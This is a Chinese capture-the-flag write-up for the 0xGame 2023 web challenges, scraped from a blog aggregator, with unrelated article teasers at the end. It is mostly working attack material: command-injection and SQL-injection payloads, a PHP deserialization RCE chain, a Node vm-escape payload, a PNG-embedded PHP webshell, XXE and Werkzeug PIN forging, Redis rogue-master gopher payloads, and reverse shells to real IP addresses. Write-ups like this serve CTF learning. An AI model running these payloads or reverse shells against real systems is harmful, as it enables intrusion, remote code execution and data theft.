0xGame Web 2023

0xGame Web 2023

[Week 1] signin

这题直接看源码就行,easy

[Week 1] baby_php

OST /?a=QNKCDZO&b=240610708 HTTP/1.1
Host: 120.27.148.152:50014
Content-Length: 11
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://120.27.148.152:50014
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://120.27.148.152:50014/?a=QNKCDZO&b=240610708
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: name=php://filter/read=convert.base64-encode/resource=flag
Connection: close

c=1024.1a

[Week 1] hello_http

POST /?query=ctf HTTP/1.1
Host: localhost:8012
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: HarmonyOS Browser
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: role=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Referer: ys.mihoyo.com
Content-Length: 14

action=getflag

[Week 1] repo_leak

这个工具恢复源码:https://github.com/gakki429/Git_Extract

然后grep找一下就行

[Week 1] ping

base64编码绕过

ip=127.0.0.1|echo${IFS}"Y2F0IC9mKg=="|base64${IFS}-d|bash

ip=#127.0.0.1%0aecho${IFS}Y2F0IC9mbGFnCg==|base64${IFS}-d|bash

[Week 2] ez_unserialize

<?php

show_source(__FILE__);
//error_reporting(0);
class Cache {
    public $key;
    public $value;
    public $expired;
    public $helper;

    public function __construct($key, $value, $helper) {
        $this->key = $key;
        $this->value = $value;
        $this->helper = $helper;
    }

    public function __wakeup() {
        $this->expired = False;
        echo "1";
    }

    public function expired() {
        echo "3";
        if ($this->expired) {
            echo "2";
            $this->helper->clean($this->key);  //
            return True;
        } else {
            return False;
        }
    }
}

class Storage {
    public $store;

    public function __construct() {
        $this->store = array();
    }

    public function __set($name, $value) {  //给不存在的成员赋值时

        if (!$this->store) {
            $this->store = array();
        }

        if (!$value->expired()) {  // 这里
            $this->store[$name] = $value;
        }
    }

    public function __get($name) {
        return $this->data[$name];
    }
}

class Helper {
    public $funcs;

    public function __construct($funcs) {
        $this->funcs = $funcs;
    }

    public function __call($name, $args) {
        $this->funcs[$name](...$args);  // rce
    }
}

class DataObject {
    public $storage;
    public $data;

    public function __destruct() {
        foreach ($this->data as $key => $value) {
            $this->storage->$key = $value;    //
        }
    }
}
$q = $_POST['a'];
unserialize($q);
$a = new DataObject;
$a->storage = new Storage;
$o = new Cache();
$o->helper = new Helper;
$o->key = "cat /proc/self/environ";
$o->helper->funcs = ['clean'=>'system'];
$o->expired = "True";
$a->data = ['Harder' => $o];
echo serialize($a);
?> 

这题挺抽象的,POP链子不难,但是想复杂了

    public function __call($name, $args) {
        $this->funcs[$name](...$args);  // rce
    }

这个地方很抽象,我当时看到这个以为是用call_user_func之类的回调函数来实现rce,尝试了很久,发现不行

最好直接system函数,传一个参数的数组就行了,这是真的哭死

...$arg的功能
如果 $args 数组是 [1, 2, 3],那么 …$args 就会被扩展成 1, 2, 3,作为函数或方法的参数传递进去,相当于直接写成了 function_name(1, 2, 3)

[Week 2] ez_sqli

因为禁止了太多的函数,大小写也被ban了,这里是运用了堆叠注入加预处理可以做,我当时写了半天的延时注入脚本!!!结果发现网站不稳定,就曝出了一个数据库的cf

什么是预处理:

https://www.cnblogs.com/geaozhang/p/9891338.html

然后尝试报错注入一下就出了

http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C646174616261736528292929;prepare/**/aaa/**/from @c;execute/**/aaa;

select extractvalue(1,concat(0x7e,0x7e,(SELECT Group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'ctf')));


http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2853454C4543542047726F75705F636F6E636174287461626C655F6E616D65292046524F4D20696E666F726D6174696F6E5F736368656D612E7461626C6573205748455245207461626C655F736368656D61203D2027637466272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

MySQLdb.OperationalError: (1105, "XPATH syntax error: '~~flag,userinfo'")



select hex("select extractvalue(1,concat(0x7e,0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctf' and table_name='flag')));");


http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D276374662720616E64207461626C655F6E616D653D27666C6167272929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

(select group_concat(first_name,0x7e,last_name) from dvwa.users))

hex("select extractvalue(1,concat(0x7e,0x7e,(select flag from ctf.flag)));");

hex("select extractvalue(1,concat(0x7e,0x7e,substr((select flag from ctf.flag),29,30)));");

0xGame{4286b62d-c37e-4010-ba9c-35d47641fb91}

http://124.71.184.68:50021/?order=id;set/**/@c=0x73656C656374206578747261637476616C756528312C636F6E63617428307837652C307837652C737562737472282873656C65637420666C61672066726F6D206374662E666C6167292C32392C33302929293B;prepare/**/aaa/**/from @c;execute/**/aaa;

贴一下我的垃圾预处理延时注入脚本

import requests
import time
import string
### 还需要改一改 这个脚本延时不稳定
dic1='abcdefghrjklmnopqrstuvwxyz0123456789ABCDEFGHRJKLMNOPQRSTUVWXYZ_.[]/'
dic = string.printable.replace("*","")
def main():
    #题目地址
    url = '''http://120.27.148.152:50021/?order=name;'''
    #注入payload
    payloads = "set/**/@a=0x{0};prepare/**/ctftest/**/from/**/@a;execute/**/ctftest;"
    flag = ''
    for i in range(1,30):
        #查询payload
        for j in dic:
            payload = "select if(substr((select database()),{0},1)={1},sleep(4),1);"
            url = url + payloads.format(str_to_hex(payload.format(str(i),j)))
            #将构造好的payload进行16进制转码和json转码
            now = time.time()
            try:
                r = requests.get(url=url, timeout=4)
            except Exception as e:
                pass
            # print(time.time() - now)
            if time.time() - now > 4:
                flag+= j
                print(flag)
                time.sleep(0.1)
                break
            # times = time.time()
            # res = requests.get(url = url)
            # # print(res.text)
            #
            # if time.time() - times >= 3:
            #     flag = flag + chr(j)
            #     print(flag)
            #     break

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x', '') for c in s])

if __name__ == '__main__':
    main()

[Week 2] sandbox

这题挺好的,学到了很多东西!!后面详细学习补充吧,分析一下这题的逻辑吧

const crypto = require('crypto')
const vm = require('vm');

const express = require('express')
const session = require('express-session')
const bodyParser = require('body-parser')

var app = express()

app.use(bodyParser.json())
app.use(session({
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: true
}))   // session在这使用

var users = {}
var admins = {}

function merge(target, source) {
    for (let key in source) {
        if (key === '__proto__') {  //__proto__
            continue
        }
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
    return target
}
var admins = {}


function clone(source) {
    return merge({}, source)
}

function waf(code) {
    let blacklist = ['constructor', 'mainModule', 'require', 'child_process', 'process', 'exec', 'execSync', 'execFile', 'execFileSync', 'spawn', 'spawnSync', 'fork']
    for (let v of blacklist) {
        if (code.includes(v)) {
            throw new Error(v + ' is banned')
        }
    }
}

function requireLogin(req, res, next) {
    if (!req.session.user) {
        res.redirect('/login')
    } else {
        next()
    }
}

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

app.get('/', requireLogin, function(req, res) {
    res.sendFile(__dirname + '/public/index.html')
})

app.get('/login', function(req, res) {
    res.sendFile(__dirname + '/public/login.html')
})

app.get('/register', function(req, res) {
    res.sendFile(__dirname + '/public/register.html')
})

app.post('/login', function(req, res) {
    let { username, password } = clone(req.body)

    if (username in users && password === users[username]) {
        req.session.user = username

        if (username in admins) {
            req.session.role = 'admin'
        } else {
            req.session.role = 'guest'
        }

        res.send({
            'message': 'login success'
        })
    } else {
        res.send({
            'message': 'login failed'
        })
    }
})

app.post('/register', function(req, res) {
    let { username, password } = clone(req.body)  //污染

    if (username in users) {
        res.send({
            'message': 'register failed'
        })
    } else {
        users[username] = password    //
        res.send({
            'message': 'register success'
        })
    }
})

app.get('/profile', requireLogin, function(req, res) {
    res.send({
        'user': req.session.user,
        'role': req.session.role  //  污染
    })
})

app.post('/sandbox', requireLogin, function(req, res) {
    if (req.session.role === 'admin') {    //admin
        console(req.body.code)
        let code = req.body.code   // req.body.code =
        let sandbox = Object.create(null)             //
        let context = vm.createContext(sandbox)

        try {
            waf(code)
            let result = vm.runInContext(code, context)
            res.send({
                'result': result
            })
        } catch (e) {
            res.send({
                'result': e.message
            })
        }
    } else {
        res.send({
            'result': 'Your role is not admin, so you can not run any code'
        })
    }
})

app.get('/logout', requireLogin, function(req, res) {
    req.session.destroy()
    res.redirect('/login')
})

app.listen(3000, function() {
    console.log('server start listening on :3000')
})

这题首先是只能在登陆出进行污染,因为每次请求都会删除prototype的键值:

app.use(function(req, res, next) {
    for (let key in Object.prototype) {
        delete Object.prototype[key]
    }
    next()
})

污染这里我以为constructor也被过滤了,当时麻爪了,结果发现他是在逃逸哪里过滤的

原型链污染payload:

{
	"constructor":{
		"prototype":{
		"Harder":"111"}
	},
	"username":"Harder",
	"password":"Harder"
}

参考的vm逃逸文章:https://xz.aliyun.com/t/11859,后续好好学习一下补充vm和vm2逃逸类型的知识

https://www.anquanke.com/post/id/237032#h3-3

这个是我的vm逃逸的payload:

    throw new Proxy({}, {
        get: function(){
            const cc = arguments.callee.caller;
            const p = (cc['const'+'ructor']['cons'+'tructor']('return pr'+'ocess'))();
            return p['mai'+'nModule']['re'+'quire']('child_p'+'rocess')['exe'+'cSync']('cat /f*').toString();
        }
    })

[Week 2] ez_upload

这题对抗渲染文件上传,进行一手二次渲染直接秒。

和upload-labs的17关不一样的是,这题后端验证绕过可以改文件后缀,有师傅陷入误区了(buish

二次渲染原理:

图片🐎绕不过,因为渲染会修改数据块,导致文件正确路径不能正常返回

https://blog.csdn.net/weixin_45588247/article/details/119177948

对抗着一块,github上搜索工具就行

https://github.com/hxer/imagecreatefrom-/blob/master/png/poc/test.png

switch ($_FILES['file']['type']) {
    case "image/gif":
        $source = imagecreatefromgif($_FILES['file']['tmp_name']);
        break;
    case "image/jpeg":
        $source = imagecreatefromjpeg($_FILES['file']['tmp_name']);
        break;
    case "image/png":
        $source = imagecreatefrompng($_FILES['file']['tmp_name']);
        break;
    default:
        die('Invalid file type!');
}

这个png和jpg比较好绕过,直接工具

python2 poc_png.py -p '<?php eval($_REQUEST[1]);?>' -o gg_shell.png test.png

[Week 3] notebook

这题一眼pickle反序列化,无过滤

from flask import Flask, request, render_template, session
import pickle
import uuid
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

class Note(object):
    def __init__(self, name, content):
        self._name = name
        self._content = content

    @property
    def name(self):
        return self._name
    
    @property
    def content(self):
        return self._content


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/<path:note_id>', methods=['GET'])
def view_note(note_id):
    notes = session.get('notes')
    if not notes:
        return render_template('note.html', msg='You have no notes')
    
    note_raw = notes.get(note_id)
    if not note_raw:
        return render_template('note.html', msg='This note does not exist')
    
    note = pickle.loads(note_raw)
    return render_template('note.html', note_id=note_id, note_name=note.name, note_content=note.content)


@app.route('/add_note', methods=['POST'])
def add_note():
    note_name = request.form.get('note_name')
    note_content = request.form.get('note_content')

    if note_name == '' or note_content == '':
        return render_template('index.html', status='add_failed', msg='note name or content is empty')
    
    note_id = str(uuid.uuid4())
    note = Note(note_name, note_content)

    if not session.get('notes'):
        session['notes'] = {}
    
    notes = session['notes']
    notes[note_id] = pickle.dumps(note)
    session['notes'] = notes
    return render_template('index.html', status='add_success', note_id=note_id)


@app.route('/delete_note', methods=['POST'])
def delete_note():
    note_id = request.form.get('note_id')
    if not note_id:
        return render_template('index.html')
    
    notes = session.get('notes')
    if not notes:
        return render_template('index.html', status='delete_failed', msg='You have no notes')
    
    if not notes.get(note_id):
        return render_template('index.html', status='delete_failed', msg='This note does not exist')
    
    del notes[note_id]
    session['notes'] = notes
    return render_template('index.html', status='delete_success')


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

这是源码,这题R指令不知道为啥一直打不通,后面换的i指令打通的

这题用的一个爆破密钥的工具,比较麻烦的是,服务器10分钟重启一次,需要重新爆破密钥

# -*- coding: utf-8 -*-
# @Time : 2022/9/17 9:11
# @Author : pysnow
import os

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0
    raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4
    from abc import ABCMeta, abstractmethod
else:  # > 3.4
    from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):

    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM(ABC):
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)
            raise e

    def decode(session_cookie_value, secret_key=None):
        """ Decode a Flask cookie  """
        try:
            if (secret_key == None):
                compressed = False
                payload = session_cookie_value

                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]

                data = payload.split(".")[0]

                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)

                return data
            else:
                app = MockApp(secret_key)

                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)
            raise e


dic = '0123456789abcdef'
if __name__ == '__main__':
    for i in dic:
        for j in dic:
            for k in dic:
                for l in dic:
                    key = i + j + k + l
                    res = FSCM.decode('.eJw1yrsOgjAYQOFXMd2bwE8JlsShEkE0GMOtwkZLK2pREyUMhHdXB8_yLWdC98dbvZA_oYZ4nkVajalSGhOLerhxHQfbSkiytEFLAb9vIZCPziwrj-xfkAQh1YKHT2GoNvG4yXtq1XWWm6Bfmy0U-3gMT-B2gvPiyg43CdHXTldAhzYqh3aXJQzSTrqpXV3ICs3z_AEJNC9n.ZS-UbA.5BAmkmsUM3gKhRjHCssZxomglqg', key)
                    # print(res)
                    if 'notes' in str(res):
                        print(key)
                        exit()

这个脚本有几个地方需要自己改,看源码就能读懂

打i指令:

opcode=b'''(S'bash -c "bash -i >& /dev/tcp/36.xxx.xxx.159/port 0>&1"'
ios
system
.'''

在这里插入图片描述

本地伪造session好处:

  1. 可以解决用工具伪造出现转义混乱的情况
  2. 本地伪造更加方便,不用浪费更多的时间。

然后把本地的shell直接放入session就可以打了,反弹shell比较慢

[Week 3] rss_parser

python的源码:

from flask import Flask, render_template, request, redirect
from urllib.parse import unquote
from lxml import etree
from io import BytesIO
import requests
import re

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'GET':
        return render_template('index.html')
    else:
        feed_url = request.form['url']
        if not re.match(r'^(http|https)://', feed_url):
            return redirect('/')

        content = requests.get(feed_url).content
        tree = etree.parse(BytesIO(content), etree.XMLParser(resolve_entities=True))

        result = {}

        rss_title = tree.find('/channel/title').text
        rss_link = tree.find('/channel/link').text
        rss_posts = tree.findall('/channel/item')

        result['title'] = rss_title
        result['link'] = rss_link
        result['posts'] = []

        if len(rss_posts) >= 10:
            rss_posts = rss_posts[:10]

        for post in rss_posts:
            post_title = post.find('./title').text
            post_link = post.find('./link').text
            result['posts'].append({'title': post_title, 'link': unquote(post_link)})
 
        return render_template('index.html', feed_url=feed_url, result=result)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

这题考的是XXE任意文件读取,加伪造pin🐎实现rce,然后反弹shell/readflag

XXE的paylaod:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ELEMENT foo ANY>
<! ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>
	<channel>
	<title>&xxe;</title>
	<link>&xxe;</link>
	</channel>
<root>

这是最后伪造pin码所用到的脚本:

import hashlib
from itertools import chain

# https://github.com/pallets/werkzeug/blob/2.0.x/src/werkzeug/debug/__init__.py#L43
# werkzeug2.0x 高版本
probably_public_bits = [
    'app'  # username   /etc/passwd里面找用户
    'flask.app',  # modname  默认值
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.9/site-packages/flask/app.py'       #etattr(mod, '__file__', None),  报错得到,moddir
]
"""
private_bits参数一 :str(uuid.getnode()),  /sys/class/net/ens0/address  /sys/class/net/eth0/address  02:42:c0:a8:00:02
private_bits参数二 :# 一.get_machine_id(), /etc/machine-id  二. /proc/self/cgroup
"""
a = str(int("02:42:c0:a8:00:02".replace(":",""),16))
print(a)
private_bits = [
    '2485723332610'
    '96cec10d3d9307792745ec3b85c89620'
]
# 如果是docker需要读
#  '96cec10d3d9307792745ec3b85c89620'+'docker-fdcea420d972705e3e38b080e3ae658492f05756c6ed9d786b26b2b1b39d46e5.scope'


# 源码里面的
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.

rv = None

if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)

[Week 3] GoShop

这题不太明白考啥,我用了一个超大数字直接溢出了,买了11111111111111111111111个橘子,然后直接卖掉,买flag就行,等一手官方writeup

Goland的经典安全漏洞:

https://blog.h4ck.fun/golang_vuln_share/

[Week 3] zip_file_manager

直接用这个命令来反弹shell就行了,注意转义的问题,拼接一个;;.zip就行

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("36.139.110.159",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

解法二:

用软链接的方法将/flag从更目录勾出来,2022国赛签到考点

ln -s /flag  test
zip --symlinks test.zip ./test

[Week 3] web_snapshot

Hint 1: 注意 curl_setopt 的参数以及 phpinfo 的信息

Hint 2: SSRF 打 Redis 主从复制 RCE

Hint 3: 通过 HTTP Location 跳转将请求协议从 http/https 转向 gopher/dict

参考:https://blog.csdn.net/whowhenhow5/article/details/121331789

redis的理解

redis主从复制的原理:就我个人理解,首先攻击者搭建了一个流氓主机,让被攻击机从属于该主机,因为攻击机可以把自己内部的数据同步到从机,所以可以通过比较复杂的过程实现将攻击程序发送的从机的步骤。而redisRedis 版本(4.x~5.0.5)可以加载外部模块来运行,即我们可以利用这一点加载恶意程序。

写php文件进行重定向

payload:

要进行gopher编写一下

payload1 = '''
slaveof 112.35.98.208 21000
config set dir /tmp
config set dbfilename exp.so
quit
'''

payload2 = '''
slaveof no one
module load /tmp/exp.so
system.exec 'command'
quit
'''
<?php

header('Location:gopher://db:6379/_%2A%31%0D%0A%24%30%0D%0A%0D%0A%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%31%33%0D%0A%31%31%32%2E%33%35%2E%39%38%2E%32%30%38%0D%0A%24%35%0D%0A%32%31%30%30%30%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%33%0D%0A%64%69%72%0D%0A%24%34%0D%0A%2F%74%6D%70%0D%0A%2A%34%0D%0A%24%36%0D%0A%63%6F%6E%66%69%67%0D%0A%24%33%0D%0A%73%65%74%0D%0A%24%31%30%0D%0A%64%62%66%69%6C%65%6E%61%6D%65%0D%0A%24%36%0D%0A%65%78%70%2E%73%6F%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
// one
header('Location:gopher://db:6379/_%2A%33%0D%0A%24%37%0D%0A%73%6C%61%76%65%6F%66%0D%0A%24%32%0D%0A%6E%6F%0D%0A%24%33%0D%0A%6F%6E%65%0D%0A%2A%33%0D%0A%24%36%0D%0A%6D%6F%64%75%6C%65%0D%0A%24%34%0D%0A%6C%6F%61%64%0D%0A%24%31%31%0D%0A%2F%74%6D%70%2F%65%78%70%2E%73%6F%0D%0A%2A%32%0D%0A%24%31%31%0D%0A%73%79%73%74%65%6D%2E%65%78%65%63%0D%0A%24%35%0D%0A%27%65%6E%76%27%0D%0A%2A%31%0D%0A%24%34%0D%0A%71%75%69%74%0D%0A%2A%31%0D%0A%24%30%0D%0A%0D%0A');
//two
?>

分两次进行重定向,第一个写入恶意.so文件

第二个断开与主redis服务的连接,独立进行命令执行

在这里插入图片描述

在这里插入图片描述

[Week 4]

week4后面在补吧,学习中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/117455.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

K8s学习笔记——认识理解篇

1. K8s诞生背景 回顾应用的部署&#xff0c;经历了以下几个阶段&#xff1a; 传统部署&#xff1a;物理服务器上运行应用程序。虚拟机部署&#xff1a;物理服务器上安装虚拟机&#xff0c;在虚拟机上运行应用程序。容器部署&#xff1a;物理服务器上安装容器运行时&#xff0…

android studio 编译Telegram源码经验总结(2023-11-05)

前言 Telegram是一款强大的端到端加密IM&#xff0c;专注于安全性和速度&#xff0c;支持Android/IOS/Windows/macOS等平台&#xff0c;功能丰富&#xff0c;运行流畅&#xff0c;免费开源&#xff0c;代码具有学习和研究意义。 一、android telegram源码下载地址&#xff1a; …

MQTT协议零基础快速入门

MQTT协议零基础快速入门 MQTT&#xff08;Message Queuing Telemetry Transport&#xff09;是一种轻量级的发布/订阅消息传输协议&#xff0c;广泛应用于物联网&#xff08;IoT&#xff09;和机器对机器&#xff08;M2M&#xff09;通信场景。它具有简单、开放、易于实现等优…

2014年亚太杯APMCM数学建模大赛C题公共基础课教师专业化培养方式研究求解全过程文档及程序

2014年亚太杯APMCM数学建模大赛 C题 公共基础课教师专业化培养方式研究 原题再现 近年来&#xff0c;世界基础工业、信息产业、服务业的跨越式发展引发了大量人才需求&#xff0c;导致了职业教育的飞速发展&#xff0c;除原有专科层次高等职业教育院校外&#xff0c;大量普通…

0002Java安卓程序设计-基于Uniapp+springboot菜谱美食饮食健康管理App

文章目录 开发环境 《[含文档PPT源码等]精品基于Uniappspringboot饮食健康管理App》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功 编程技术交流、源码分享、模板分享、网课教程 &#x1f427;裙&#xff1a;776871563 功能介绍&#xff…

饥荒联机版 Don‘t Starve Together(WinMac)最新中文学习版

《饥荒联机版》是由Klei自主开发的开放世界冒险游戏。在这个游戏中&#xff0c;玩家将扮演各种各样的人物&#xff0c;这些人物不幸来到了一个神秘的异世界。在旅行中&#xff0c;玩家会邂逅性格各异、能力独特的同伴们&#xff0c;并和他们一起生存下去并征服异世界。游戏中的…

Windows Server 2019安装docker服务

离线状态下&#xff0c;使用脚本在Windows Server 2019环境中安装docker服务。 1.安装脚本 在微软官方网站中&#xff0c;找到脚本并下载&#xff1a; 准备 Windows 操作系统容器 | Microsoft Learn 脚本地址&#xff1a; https://raw.githubusercontent.com/microsoft/Win…

MySQL索引优化与查询优化

1. 索引失效案例 MySQL中提高性能的一个最有效的方式是对数据表设计合理的索引。索引提供了访问高效数据的方法&#xff0c;并且加快查询的速度&#xff0c;因此索引对查询的速度有着至关重要的影响。 使用索引可以快速地定位表中的某条记录&#xff0c;从而提高数据库查询的速…

【Linux】 shutdown 命令使用

shutdown 命令可以用来进行关机程序&#xff0c;并且在关机以前传送讯息给所有使用者正在执行的程序&#xff0c;shutdown 也可以用来重开机。使用权限&#xff1a;系统管理者。 语法 shutdown [选项] 时间 [警告信息] 命令选项及作用 执行令 man shutdown 执行命令结果 参…

字符串函数的模拟实现

今天我们来了解以下一些字符串函数的模拟实现&#xff1a; strlen strcpy strcat strcmp strlen函数的模拟实现 首先我们转到cplusplus中查找strlen的官方解释&#xff1a; 通过查找我们了解到&#xff0c;strlen是用来测量一个字符串长度的函数&#xff0c;函数的返回值就是…

【六、http】go的http的客户端重定向

一、http的重定向 重定向过程&#xff1a;客户浏览器发送http请求----》web服务器接受后发送302状态码响应及对应新的location给客户浏览器–》客户浏览器发现是302响应&#xff0c;则自动再发送一个新的http请求&#xff0c;请求url是新的location地址----》服务器根据此请求寻…

【嵌入式开发工具】STM32+Keil实现软件工程搭建与开发调试

本篇文章介绍了使用Keil来对STM32F103C8芯片进行初始工程搭建&#xff0c;以及开发与工程调试的完整过程&#xff0c;帮助读者能够在实战中体会到Keil这个开发环境的使用方法&#xff0c;了解一个嵌入式工程从无到有的过程&#xff0c;并且具备快速搭建一个全新芯片对应最小软件…

软件测试工作流程

流程体系介绍 在以往的项目工作中&#xff0c;我参与过&#xff0c;需求评审、测试计划制定、测试用例编写、测试用例执行、测试脚本编写、测试脚本的执行&#xff0c;进行回归测试、验收测试、编写阶段性测试报告等工作 需求分析&#xff0c;需求评审&#xff08;RPD、产品原…

【ArcGIS Pro二次开发】(74):Python、C#实现Excel截图导出图片

以村庄规划制图为例&#xff0c;通过对现状和规划用地的统计&#xff0c;生成Excel格式的【空间功能结构调整表】后&#xff0c;需要进一步将表格导出成图片&#xff0c;并嵌入到图集中&#xff0c;这样可以实现全流程不用手动参与&#xff0c;让制图的流程完全自动化。 关于E…

深度学习服务器(Linux)开发环境搭建教程

当你拿到一台服务器的使用权时&#xff0c;最头疼的莫过于登陆服务区并配置开发环境。本文将从0开始&#xff0c;讲述一台刚申请的服务器远程登陆并配置开发环境的全过程。希望对你有所帮助 1.登陆服务器 打开MobaXterm软件&#xff0c;创建一个新的Session&#xff0c;选择S…

Java操作redis常见类型数据存储

目录 一、Java连接Redis 1.1 导入pom依赖 1.2 建立连接 二、Java使用Redis 2.1 字符串 String 2.2 哈希 Hash 2.3 列表 List 2.4 集合 Set 2.5 有序集合 Sorted Set 三、Redis的实际应用场景 一、Java连接Redis redis与mysq都是数据库&#xff0c;java操作redis其实跟…

S32K324 UDS Bootloader开发-下位机篇-Bootload软件(1)

文章目录 前言启动过程Bootloader开发链接文件编译文件跳转函数CAN收发相关发送接收初始化及使能CAN周期函数总结前言 上一篇文章介绍了S32K324 -UDS Bootlodaer开发中的需求,本文根据需求开发Bootloader软件。 本文参考NXP官网的S32K324 UBL,其中有一些Bug,也有一些和上位机…

【算法训练营】最近公共祖先+求最大连续bit数

算法 1.最近公共祖先求最大连续bit数 1.最近公共祖先 题目链接 【题目解析】&#xff1a; 最近公共祖先表示距离两个节点最近的公共父节点&#xff0c;这道题考察二叉树。【解题思路】&#xff1a; 题目所描述的满二叉树如下&#xff1a; 1 / \ 2 3 / \ / \ 4 5 6 7 上述树中…

英语——分享篇——每日200词——1-200

1——ball——[bɔːl]——n.球——ball——ba爸(拼音)ll筷子(象形)——爸爸用筷子夹球——The kid is playing the ball. ——孩子在玩皮球。 2——boat——[bəʊt]——n.船——boat——bo60(象形)at在(熟词)——60个人在船上——I have 60 boats.——我有60艘船。 3——bag—…

flutter项目引入本地静态图片资源并展示

想要在flutter中引入静态资源&#xff0c;需要配置pubspec.yaml&#xff0c;将本地的静态资源添加到assets下面&#xff1a; 然后在flutter引入这些静态资源&#xff1a; Image.asset("images/squick.png") 就可以在app中看到这个图片了&#xff1a; 也可以使用网…